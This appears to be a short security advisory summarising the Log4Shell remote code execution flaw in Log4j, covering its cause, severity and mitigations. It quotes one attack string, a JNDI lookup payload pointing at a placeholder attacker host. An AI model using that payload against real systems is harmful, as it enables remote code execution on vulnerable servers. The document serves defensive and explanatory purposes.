A Summary of the Log4j RCE Vulnerability (CVE-2021-44228)
A zero-day remote code execution vulnerability (CVE-2021-44228), named ‘Log4Shell’, was found that affects Log4j 2 versions 2.14.1 and below. Log4j is a logging library that is used in many Java applications. The vulnerability has been rated critical with a CVSS score of 10. The severity of this vulnerability is evident due to its impact, widespread use and ease of exploitation. A GitHub repo covering the Log4j attack surface has been released and includes many well-known organisations that have been impacted by the vulnerability. The vulnerability is due to a JNDI (Java Naming and Directory Interface) injection which exploits the JNDI lookup feature used by Log4j.
When a payload such as ${jndi:ldap://$host/e} is submitted by an attacker and subsequently logged by Log4j, the target will try to resolve this JNDI reference, which results in the target reaching out to the attacker's servers and ultimately downloading and executing a malicious file.
The vulnerability has been fixed in Log4j 2.15.0. Where patches cannot be applied, the following mitigations have been provided:
- Versions >=2.10: set the system property
log4j2.formatMsgNoLookupsor environment variableLOG4J_FORMAT_MSG_NO_LOOKUPSto 'true' - Versions 2.0-beta9 to 2.10.0: remove the ‘JndiLookup’ class from the classpath by running: 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class'
Another mitigating factor would be if outbound traffic is restricted. Since the exploit relies on the target connecting to the attacker’s servers, restricting outbound traffic can also mitigate the vulnerability. The irony with the Log4j vulnerability is that while logs have been used to identify malicious activity, the vulnerability has provided attackers with another attacker vector to compromise vulnerable hosts, which underscores the severity of this vulnerability.
tags: penetration testing security operations vulnerability management